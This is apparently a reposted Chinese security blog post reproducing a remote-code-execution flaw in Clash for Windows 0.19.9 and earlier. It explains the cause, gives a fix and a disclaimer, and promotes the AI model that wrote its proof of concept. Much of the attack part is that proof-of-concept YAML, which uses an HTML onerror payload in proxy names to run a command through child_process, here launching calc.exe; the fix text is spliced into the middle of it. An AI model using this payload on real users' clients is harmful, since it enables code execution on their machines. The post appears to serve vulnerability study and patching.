0x01 clash小猫
Clash小猫,是我常用的科学上网工具,然后前段时间,在无问社区看见他的rce漏洞的文章,就想着复现一下,用来回忆一下,那段“秘密教学”
0x02准备clash小猫
在无问社区查询文章,里面有相关的clash小猫的漏洞版本
必须得 clash for windows <=0.19.9
我是通过这个找到的对应版本,相信大家也能找到!
https://doc.loxcloud.com/win-clash.html
好继续
通过无问AI模型,了解到漏洞的原因
漏洞原理:
该漏洞的根本原因是 Clash for Windows 在处理订阅文件中的
rule-providers 路径时存在不安全的设计和实现问题。具体来说:
路径覆盖问题:
Clash for Windows 允许用户通过订阅链接动态加载配置文件。
如果订阅文件中包含恶意构造的
rule-providers 路径,例如指向本地关键配置文件(如
cfw-settings.yaml),则可以覆盖这些文件的内容。
代码执行机制:
cfw-settings.yaml 文件中支持使用 JavaScript 代码片段来扩展功能。
攻击者可以通过覆盖该文件,注入恶意 JavaScript 代码。
当 Clash 启动或重新加载配置时,恶意代码会被自动执行。
本地加载复现:
选择Profiles,点击import导入poc的yaml文件,再右击选择Proxies即可复现该漏洞。
以下是无问AI模型给我写的poc
port: 7890
socks-port: 7891
allow-lan: true
mode: Rule
log-level: info
external-controller: :9090
proxies:
- name:
a<img/src="1"/onerror=eval(`require("child_process").exec("calc.e
xe");`);>
type: socks5
server: 127.0.0.1
port: "17938"
skip-cert-verify: true三、修复方案
升级最新版本:https://github.com/Fndroid/clash_for_windows_pkg/releases/tag/0.19.10
- name: abc
type: socks5
server: 127.0.0.1
port: "8088"
skip-cert-verify: true
proxy-groups:
-
name:
<img/src="1"/onerror=eval(`require("child_process").exec("calc.ex
e");`);>
type: select
proxies:
-
a<img/src="1"/onerror=eval(`require("child_process").exec("calc.e
xe");`);>
0x03 总结
RCR漏洞的危害还是挺大的
-
对 rule-providers
路径进行严格校验,防止覆盖关键配置文件。 -
禁止在 cfw-settings.yaml
中执行未经签名或未授权的 JavaScript 代码。
这只是无问AI的一种使用方式,更多的使用方式,我会持续去探索实践,欢迎大家前来交流!!!
最后,欢迎点赞评论留下自己的看法,会随机抽取五名幸运儿赠送,无问社区社区红包!
欢迎大家前来使用无问AI大模型
原文始发于微信公众号(白帽子社区团队):“秘密教学”科学小猫clash的漏洞!
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论